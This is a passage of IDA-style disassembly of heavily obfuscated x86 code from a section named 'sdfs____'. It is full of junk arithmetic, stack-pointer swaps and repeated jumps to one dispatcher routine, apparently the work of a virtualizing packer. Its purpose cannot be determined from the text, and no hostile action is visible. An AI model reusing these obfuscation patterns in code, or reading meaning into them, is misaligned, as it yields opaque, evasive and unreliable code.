		push	esi
		mov	al, 0E9h
		push	edx


loc_5967B8:				; CODE XREF: sdfs____:005937CCj
		push	eax
		mov	eax, 393A6FC9h
		inc	eax
		jmp	loc_58C862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5967C4:				; CODE XREF: sub_5962EB-10CFj
		jnz	loc_58C173
		add	ebp, 17822F08h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp-8+arg_4]
		pop	ebx


loc_5967D9:				; CODE XREF: sub_5941BD-17F3j
		not	ebx
		neg	ebx
		push	edx
		jmp	loc_591FF1
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5967E3:				; CODE XREF: sub_591435-2436j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	13FEh
		mov	[esp+0Ch+var_C], eax
		push	esp
		jmp	loc_58C8E0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_596800:				; CODE XREF: sdfs____:0058D82Cj
		xchg	ebx, [esp]
		pop	esp
		add	eax, 35C55593h
		add	eax, ecx
		jmp	loc_5911BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_596810:				; CODE XREF: sub_59576E-1F2Fj
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 2CE566B6h
		or	eax, edi
		jmp	loc_58D00E
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_596831:				; CODE XREF: sdfs____:00595EA4j
		mov	eax, edi
		jmp	loc_58D4CA
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 2A1977F2h
		push	ecx
		jmp	loc_590307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_596850:				; CODE XREF: sub_59369D-301Aj
		inc	eax
		jmp	loc_597B6D
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------


loc_596856:				; CODE XREF: sdfs____:0059079Cj
		mov	[esp], ecx
		mov	ecx, 0FE5438Dh
		push	ebp
		mov	ebp, 1A171A5Eh
		jmp	loc_598BEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_596869:				; CODE XREF: sub_59214E-3CA8j
					; sdfs____:00592873j
		add	esp, 4
		mov	edx, ecx
		mov	ecx, [esp+0]
		jmp	loc_58C321
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_596879:				; CODE XREF: sdfs____:0058CC11j
		push	ebp
		jmp	loc_5900B1
; ---------------------------------------------------------------------------


loc_59687F:				; CODE XREF: sdfs____:00597FB9j
		add	al, 0B8h
		push	ecx
		push	edx
		mov	dh, 4Ch
		not	dh
		not	dh
		add	dh, 7Eh
		mov	cl, dh
		pop	edx
		jmp	loc_59286A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_596894:				; CODE XREF: sub_5962EB-3EC6j
		or	edx, 1B2355D6h
		jmp	loc_598626
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_59689F:				; CODE XREF: sub_5987BC-B639j
		pop	eax
		xor	eax, 6D5A7DB9h
		jmp	loc_58C603
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_5968AA:				; CODE XREF: sdfs____:00591708j
		push	edx
		mov	edx, 6F662A05h
		mov	ebp, edx
		jmp	loc_58DF7D
; ---------------------------------------------------------------------------


loc_5968B7:				; CODE XREF: sdfs____:005946DFj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5968BC:				; CODE XREF: sub_591435-383j
		sub	dh, 0C9h
		jmp	loc_594710
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5968C4:				; CODE XREF: sdfs____:0058CF29j
		push	ebp
		mov	ebp, 0C18B33DAh
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 6746332Dh
		add	eax, 5366FC6h
		sub	eax, esi
		sub	eax, 5366FC6h
		add	eax, 6746332Dh
		pop	esi
		pop	esi
		push	edi
		mov	edi, 6629641Bh
		jmp	loc_58D1D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596D34


loc_5968F8:				; CODE XREF: sub_596D34-A57Fj
		pop	edi
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xchg	eax, edi
		jmp	sub_58EB48
; END OF FUNCTION CHUNK	FOR sub_596D34
; ---------------------------------------------------------------------------


loc_596905:				; CODE XREF: sdfs____:00596119j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_590E55
; ---------------------------------------------------------------------------


loc_596917:				; CODE XREF: sdfs____:00592FDDj
		xchg	ch, bl
		push	ecx
		push	0AF8h
		mov	[esp], edx
		push	edx
		mov	edx, esp
		jmp	loc_58CEB9
; ---------------------------------------------------------------------------


loc_59692A:				; CODE XREF: sdfs____:0058F536j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bh, 33h
		dec	bh
		push	edx
		mov	dh, 4Dh
		jmp	loc_594415
; ---------------------------------------------------------------------------


loc_59693D:				; CODE XREF: sdfs____:0058D669j
		shr	eax, 8
		push	ecx
		mov	ecx, 28CE15E4h
		sub	ecx, 69360379h
		jmp	loc_592102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596951:				; CODE XREF: sub_591370+6C60j
		inc	eax
		push	ebp
		mov	ebp, 0DDAEB7FBh
		xor	eax, ebp
		pop	ebp
		sub	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esp
		jmp	loc_594D1E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_596978:				; CODE XREF: sdfs____:0058BB81j
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_592E8D
; ---------------------------------------------------------------------------


loc_596981:				; CODE XREF: sdfs____:00598728j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_596986:				; CODE XREF: sdfs____:005930FAj
		sub	al, cl
		pop	ecx
		sub	al, 36h
		push	edx
		push	ebx
		mov	bh, 0EBh
		or	bh, 0ECh
		and	bh, 0
		shr	bh, 6
		push	0
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 4
		jmp	loc_590590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_5969AB:				; CODE XREF: sub_59576E-839Cj
		sub	ebp, 778F7882h
		add	ebp, 6B4752E6h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		push	edx
		mov	dx, 16CAh
		add	dx, 0F10h
		sub	dx, 521Ah
		dec	dx
		neg	dx
		jmp	loc_58F749
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_5969DD:				; CODE XREF: sdfs____:005922BFj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_58C00A
; ---------------------------------------------------------------------------


loc_5969F1:				; CODE XREF: sdfs____:005924EFj
		sub	esp, 4
		mov	[esp], ecx
		pop	edi
		jmp	loc_590B02
; ---------------------------------------------------------------------------


loc_596A00:				; CODE XREF: sdfs____:00590A92j
					; sdfs____:00597666j
		shl	esi, 3
		jns	loc_594D03
		not	esi
		add	esi, 14A398Bh
		jmp	loc_58FBFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_596A16:				; CODE XREF: sub_591435+4177j
		mov	esi, [esp+8+var_8]
		jmp	loc_59153C
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_596A1E:				; CODE XREF: sdfs____:0058D83Dj
		jg	loc_5901BE
		jmp	loc_596320
; ---------------------------------------------------------------------------
		add	dx, 934Ch
		jmp	loc_597685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_596A33:				; CODE XREF: sub_598A21-4A9Ej
		mov	eax, esp
		jmp	loc_58F517
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------


loc_596A3A:				; CODE XREF: sdfs____:00595035j
		push	edx
		push	eax
		mov	eax, 77FFF6ECh
		mov	edx, eax
		jmp	loc_58C032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_596A48:				; CODE XREF: sub_59576E-77F6j
		mov	bp, [esp+0]
		add	esp, 2
		push	cx
		jmp	loc_5917C8
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_596A59:				; CODE XREF: sdfs____:0058C713j
					; sub_5962EB-7831j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59167C
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_596A66:				; CODE XREF: sdfs____:00595AFEj
		mov	ebp, 84B4F4Eh
		neg	ebp
		neg	ebp
		neg	ebp
		add	ebp, 4CC7AE87h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebx, 2
		push	edi
		mov	edi, 7854514Bh
		jmp	loc_592C09
; ---------------------------------------------------------------------------


loc_596A8D:				; CODE XREF: sdfs____:0058FA22j
		jle	loc_597A00
		xor	ebx, 3E44105Ah
		inc	ebx
		jl	loc_59124F
		sub	ebx, 34E3FFEAh
		push	ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_59838B
; ---------------------------------------------------------------------------


loc_596AB6:				; CODE XREF: sdfs____:00598D7Bj
		jl	loc_5948BF
		inc	eax
		jge	loc_5980E6
		sub	eax, 546F2820h
		js	loc_598254
		pop	edx


loc_596ACF:				; CODE XREF: sdfs____:0058BECAj
		push	ebx
		mov	bl, 0Fh
		jmp	loc_5942C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596AD7:				; CODE XREF: sub_5917C0-224Bj
		pop	ebp
		pop	eax
		push	2A44h
		mov	[esp+4+var_4], ebp
		mov	ebp, edi
		push	edi
		jmp	loc_597AD5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596AE9:				; CODE XREF: sub_594228-25A6j
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp+16h+var_18+2], edx
		mov	edx, 37F34C06h
		mov	esi, edx
		pop	edx
		add	eax, 33DE2C04h
		add	eax, 3A1910EEh
		add	eax, esi
		sub	eax, 3A1910EEh
		sub	eax, 33DE2C04h
		push	[esp+12h+var_14+2]
		pop	esi
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp+16h+var_18+2], edx
		push	3E657256h
		jmp	loc_597747
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_596B2A:				; CODE XREF: sub_59587A-30B2j
		add	ebp, edx
		pop	edx
		not	ebp
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		jmp	loc_5919BA
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_596B3A:				; CODE XREF: sdfs____:0058E486j
		push	603E14D1h
		pop	edi
		jmp	loc_591178
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_596B45:				; CODE XREF: sub_58EB23+2D70j
					; sdfs____:005948CBj
		mov	word ptr [esp-0Eh+arg_4+2], cx
		mov	cl, 60h
		add	bl, cl
		mov	cx, word ptr [esp-0Eh+arg_4+2]
		push	esi
		jmp	loc_596683
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_596B57:				; CODE XREF: sdfs____:005953F3j
		add	ebp, 51DB2AECh
		add	ebp, edx
		jmp	loc_59076E
; ---------------------------------------------------------------------------


loc_596B64:				; CODE XREF: sdfs____:0058BC35j
					; sdfs____:0058D43Aj ...
		pop	esi
		push	ebx
		jmp	loc_59868F
; ---------------------------------------------------------------------------


loc_596B6B:				; CODE XREF: sdfs____:00594349j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58BB1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_596B7C:				; CODE XREF: sub_5962EB-4DE5j
		sub	ebx, 13E52D57h
		push	ebx
		push	edi
		mov	ebx, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		pop	edi
		not	edi
		xchg	edi, ebx
		and	ebx, 68CC15BEh
		push	53C0h
		mov	[esp+4+var_4], ebp
		mov	ebp, 5F3276D9h
		add	ebx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ebx, 0A1A3B6E5h
		sub	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596BD3:				; CODE XREF: sub_5917C0-4D5Bj
		sub	ebp, 14CC1D51h
		jo	loc_590663
		sub	ebp, 2FAED1Ch
		mov	esi, ebp
		pop	ebp
		xor	esi, 11E5881Eh
		add	eax, 88D4A93h
		sub	eax, esi
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		jmp	loc_5956DE
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_596C03:				; CODE XREF: sdfs____:00591BA8j
		sub	edi, 686E060Eh
		pop	ebx
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596C2C:				; CODE XREF: sub_5917C0-3FCFj
					; sub_59369D-14ECj
		pop	dword ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_596C33:				; CODE XREF: sub_591435-4B4Cj
		xor	eax, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], eax
		xor	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	esi
		push	ebx
		push	0B46120Dh
		mov	ebx, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 17115203h
		xor	edi, 13B41618h
		dec	edi
		xor	edi, 61A72312h
		inc	edi
		jmp	loc_596E14
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596C6B:				; CODE XREF: sub_594228-486Aj
		xor	ebx, 678718CAh
		shr	ebx, 1
		jmp	loc_58D2F5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_596C78:				; CODE XREF: sdfs____:0058CB02j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_592E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_596C8C:				; CODE XREF: sub_58FE99-157Aj
		pop	edx
		add	esp, 4
		jmp	loc_593237
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_596C98:				; CODE XREF: sdfs____:005948C0j
		sub	eax, 546F2820h
		js	loc_58C6B5
		jmp	loc_591317
; ---------------------------------------------------------------------------
		mov	ebp, 48517C5Dh
		push	esi


loc_596CAE:				; CODE XREF: sdfs____:00593590j
		push	7122h
		mov	[esp], ebx
		mov	ebx, 3D04208Ch
		shr	ebx, 5
		add	ebx, 0FE17DF00h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59751D
; ---------------------------------------------------------------------------


loc_596CD5:				; CODE XREF: sdfs____:005977D3j
		inc	ebx
		sub	ebx, 0F742A18h
		shl	ebx, 4
		jmp	loc_58C786
; ---------------------------------------------------------------------------


loc_596CE4:				; CODE XREF: sdfs____:005966FCj
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58FD92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596CF2:				; CODE XREF: sub_5917C0+3F73j
		push	esp
		mov	edx, [esp+8+var_8]
		push	esi
		jmp	loc_58EA2A
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_596CFC:				; CODE XREF: sdfs____:0058EF70j
		sub	al, bl
		sub	al, 93h
		push	ebx
		mov	bh, 95h
		not	bh
		xor	bh, 40h
		shr	bh, 8
		jmp	loc_594C42
; ---------------------------------------------------------------------------


loc_596D10:				; CODE XREF: sdfs____:00593422j
		mov	eax, [esp]
		jmp	loc_58CF9D
; ---------------------------------------------------------------------------


loc_596D18:				; CODE XREF: sdfs____:0058DB17j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 34175358h
		push	ecx
		push	74C4468Fh
		pop	ecx
		jmp	loc_590C44

; =============== S U B	R O U T	I N E =======================================



sub_596D34	proc near		; CODE XREF: sub_58E01A-145Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058C7B2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005968F8 SIZE 0000000D BYTES

		sub	esp, 4
		jmp	loc_58C7B2
sub_596D34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596D3C:				; CODE XREF: sub_5917C0:loc_596637j
		sub	ebp, 14CC1D51h
		jo	loc_597105
		sub	ebp, 2FAED1Ch
		jmp	loc_5944B6
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_596D53:				; CODE XREF: sdfs____:00598BE9j
		shl	edx, 1
		jp	loc_5961A5
		xor	edx, 46A062A5h
		jmp	loc_58F6D3
; ---------------------------------------------------------------------------


loc_596D66:				; CODE XREF: sdfs____:005918F1j
		pop	dword ptr [edi+40h]
		add	dword ptr [edi+40h], 1A4214D5h
		jmp	loc_58E32B
; ---------------------------------------------------------------------------


loc_596D75:				; CODE XREF: sdfs____:0058E119j
		mov	edx, 47300D0h
		xor	edx, eax
		jmp	loc_5953CC
; ---------------------------------------------------------------------------


loc_596D81:				; CODE XREF: sdfs____:0058FB06j
		add	esp, 4
		jmp	loc_58D321
; ---------------------------------------------------------------------------


loc_596D89:				; CODE XREF: sdfs____:00597027j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58FE6D
; ---------------------------------------------------------------------------


loc_596D9B:				; CODE XREF: sdfs____:00596252j
		pop	esi
		add	esi, 373B1272h
		add	esi, 3E039F8h
		and	esi, 5F1B2CCDh
		jmp	loc_5940ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_596DB3:				; CODE XREF: sub_58EB23-2A8Dj
		push	ecx
		jmp	loc_595E2A
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596DB9:				; CODE XREF: sub_594228+ACBj
		add	esp, 4
		or	eax, eax
		jz	sub_5985AE
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ecx
		push	esi
		mov	esi, 48B25C11h
		and	esi, 4C611520h
		jb	loc_58CD63
		sub	esi, 5A3C1172h
		jb	loc_5982C4
		shl	esi, 7
		js	loc_59104F
		jge	loc_58C367


loc_596DFA:				; CODE XREF: sdfs____:0059168Aj
		mov	cx, word ptr [esp+22h+var_24+2]
		push	473Eh
		mov	[esp+26h+var_28+2], ebx
		push	658Fh
		mov	[esp+0], esp
		push	ebx
		jmp	loc_598C7D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_596E14:				; CODE XREF: sub_591435+5831j
		xor	edi, 6502670Dh
		add	esi, edi
		pop	edi
		xchg	esi, [esp+14h+var_14]
		pop	esp
		or	ebx, 40A3B0Bh
		jnb	loc_58F663
		jmp	loc_593F52
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		pop	esp
		xor	esi, 2A3D4D2Ch
		and	eax, esi


loc_596E3B:				; CODE XREF: sdfs____:005936E2j
		dec	dword ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596E44:				; CODE XREF: sub_5917C0-2714j
		push	edi
		jmp	loc_590E32
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_596E4A:				; CODE XREF: sub_591435-30B0j
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 66D23E3Eh
		xor	[esp+18h+var_14], edi
		pop	edi
		pop	ebx
		xor	ebx, 66D23E3Eh
		pop	ecx
		and	ecx, ebx
		jmp	loc_594593
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_596E6B:				; CODE XREF: sdfs____:0058D5CCj
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 52F078EAh
		add	ebp, edx
		add	ebp, 52F078EAh
		mov	edx, [esp]
		push	3D7Ch
		jmp	loc_58DB51
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_58FEF0
; ---------------------------------------------------------------------------


loc_596E9B:				; CODE XREF: sdfs____:0058E5E6j
		mov	ecx, edi
		pop	edi
		shr	ecx, 4
		shr	ecx, 5
		xor	ecx, 35C59AB2h
		add	eax, ecx
		jmp	loc_591F82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596EB1:				; CODE XREF: sub_591370+22j
		shr	edi, 7
		push	ebp
		mov	ebp, 2A04B9Eh
		add	ebp, 3EEF41BBh
		inc	ebp
		or	ebp, 0DBD3B2Bh
		inc	ebp
		push	edx
		mov	edx, 3FB06909h
		and	ebp, edx
		pop	edx
		add	ebp, 0E79FDA8Eh
		sub	edi, ebp
		pop	ebp
		mov	ebx, edi
		pop	edi
		jmp	loc_58FB8C
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_596EE2:				; CODE XREF: sub_5985AE-6B84j
		pop	esi
		mov	eax, [esp+0]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 60EE7827h
		mov	ebx, eax
		pop	eax
		sub	eax, 70DA14E8h
		add	eax, 2E213A67h
		push	ecx
		mov	ecx, 744C208Ah
		not	ecx
		neg	ecx
		shl	ecx, 2
		inc	ecx
		xor	ecx, 0EA1485E1h
		jmp	loc_58F8E4
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_596F16:				; CODE XREF: sdfs____:00598007j
		push	dx
		xchg	dh, [esp]
		neg	dh
		xchg	dh, [esp]
		pop	dx
		xor	dl, 22h
		jmp	loc_58BF78
; ---------------------------------------------------------------------------


loc_596F2A:				; CODE XREF: sdfs____:005973A2j
		pop	edx
		jmp	loc_58DD70
; ---------------------------------------------------------------------------


loc_596F30:				; CODE XREF: sdfs____:0058CD01j
		mov	esi, 266F2462h
		xor	esi, 21550141h
		jmp	loc_591B3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596F40:				; CODE XREF: sub_591370-37E8j
					; sub_591370+2EE6j
		not	[esp-0Ch+arg_8]
		pop	edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	ebp
		mov	ebp, 5948467Fh
		and	ebp, 80161DAh
		dec	ebp
		and	ebp, 31D93986h
		sub	ebp, 0DE25EABAh
		sub	edx, ebp
		jmp	loc_58D831
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596F6A:				; CODE XREF: sub_5917C0-24F5j
		push	3FE6h
		jmp	loc_5932E2
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_596F74:				; CODE XREF: sdfs____:00593958j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		push	4
		jmp	loc_593C7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_596F84:				; CODE XREF: sub_59377D-5E7Ej
		push	ecx
		jmp	loc_596644
; END OF FUNCTION CHUNK	FOR sub_59377D

; =============== S U B	R O U T	I N E =======================================



sub_596F8A	proc near		; CODE XREF: sub_594F18-6A06j
					; sub_594228+2456j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058CB1F SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058CC3A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E0F0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F7DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005904F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590716 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005954B4 SIZE 0000002A BYTES

		push	ebp
		sub	esp, 4
		jmp	loc_5954B4
sub_596F8A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596F96:				; CODE XREF: sub_5917C0-1C78j
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		add	[esp-10h+arg_C], eax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	71C8h
		mov	[esp], esi
		jmp	loc_5978C2
; ---------------------------------------------------------------------------


loc_596FB6:				; CODE XREF: sdfs____:00593C9Aj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_595D3E
; ---------------------------------------------------------------------------


loc_596FC4:				; CODE XREF: sdfs____:00596476j
		sub	edx, eax
		pop	eax
		add	edx, eax
		add	edx, 3571478h
		pop	eax
		add	edx, 2
		jmp	loc_58EF51
; ---------------------------------------------------------------------------


loc_596FDB:				; CODE XREF: sdfs____:0058D0E5j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5936D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_596FF6:				; CODE XREF: sub_592853+527Dj
		add	ebx, ebp
		push	esi
		mov	esi, 28207C5Fh
		add	ebx, esi
		pop	esi
		jmp	loc_592411
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
		push	esp
		mov	edx, [esp]
		push	4C64h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_596D89
; ---------------------------------------------------------------------------


loc_59702C:				; CODE XREF: sdfs____:00592268j
		mov	[esp], eax
		mov	eax, 0F624FACCh
		sub	edi, eax
		jmp	loc_58BFEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59703B:				; CODE XREF: sdfs____:0058D91Aj
					; sub_5917C0+6DB5j
		xor	edi, 7B43FE2h
		push	edi
		mov	edi, 50C3402Ah
		add	ebx, edi
		pop	edi
		sub	ebx, 271111EDh
		add	ebx, edi
		add	ebx, 271111EDh
		sub	ebx, 50C3402Ah
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		add	ebx, eax
		push	2953h
		jmp	loc_58D744
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_597070:				; CODE XREF: sdfs____:00597E59j
		mov	eax, 4
		add	esi, 32C335BDh
		add	esi, eax
		sub	esi, 32C335BDh
		jmp	loc_58FB2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597088:				; CODE XREF: sdfs____:0058C5FEj
					; sub_5917C0+36E6j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59708D:				; CODE XREF: sdfs____:00597A44j
		push	edi
		mov	edi, 5D4011FCh
		mov	eax, edi
		mov	edi, [esp]
